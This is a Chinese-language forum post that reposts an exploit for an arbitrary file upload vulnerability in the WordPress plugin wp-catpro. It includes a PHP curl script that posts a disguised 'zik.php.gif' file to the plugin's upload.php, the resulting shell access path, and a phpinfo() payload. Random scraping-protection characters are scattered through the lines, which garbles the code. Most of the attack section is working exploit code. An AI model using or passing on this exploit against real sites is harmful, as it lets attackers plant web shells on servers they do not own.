找回密码
 立即注册
查看: 2835|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability& G  Z6 D- h/ U1 f- L
#-----------------------------------------------------------------------
  C% T1 y+ {8 h
, ]+ N8 [$ b& L$ J1 \6 g作者  => Zikou-16
1 L0 r2 J, X) y% Q邮箱 => zikou16x@gmail.com
0 S% g; i3 A& z: A7 ~5 B! U测试系统 : Windows 7 , Backtrack 5r3" t9 ~5 p: H* |  z% y" Y
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
( Y/ {0 U% ?4 O% u% r( V/ L####8 p. P/ s& ~2 X  z# B: Y3 L
3 _* G7 h6 P$ y: M( A% l9 U
#=> Exploit 信息:
. f4 W/ N% }! g6 K+ P------------------
! D  w6 V! J% J; D3 C. y, F  C1 j. v# 攻击者可以上传 file/shell.php.gif1 k6 }% N2 ~$ z5 f8 B/ _
# ("jpg", "gif", "png")  // Allowed file extensions* \( B1 [) j9 L' g
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
! n" {- i: F- K* U# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)) B$ L1 Q) p5 d7 G7 @, e
------------------! ^0 j8 D. j/ [) C. \! y4 ?
) d7 }) L+ ~: I
#=> Exploit
( d" ^# E/ |6 R, o) t* K-----------; Y4 s1 k7 O/ Q6 N# k# T; j8 E( t0 ~
<?php8 e9 u8 H! u' i( b

" l, T5 t2 O0 V9 F2 ]$uploadfile="zik.php.gif";2 Z# i, L% C# T
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
" l: a9 g2 @4 Z  x$ w/ V- `curl_setopt($ch, CURLOPT_POST, true);
- q0 H2 K1 \6 }1 B( Kcurl_setopt($ch, CURLOPT_POSTFIELDS,$ T$ H9 y# D9 i  Q0 a9 B6 j
array('Filedata'=>"@$uploadfile",' K9 y0 e; g+ B( @$ p$ f6 s/ b; u
'folder'=>'/wp-content/uploads/catpro/'));- u/ C/ F  d/ I0 V& v( g/ p
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);# J4 ?& k: _* M
$postResult = curl_exec($ch);
' C, l- R1 J0 F. m, w) z5 @+ Pcurl_close($ch);
) q; l6 s; k% s2 Z5 H1 d( N; ^+ h
9 z/ q; L, Q3 v$ |8 d3 xprint "$postResult";  D6 `$ ]! t- I3 V, D! E
) X; J( T6 O- G/ o# u
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif# O* n, e9 t- p- ~
  ?>4 `- z2 S$ [; q. Y, W( j1 E
<?php1 |$ a; u& Q# D6 P' Q  B7 b
phpinfo();
, c# R$ Y) a" ~% D: |?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表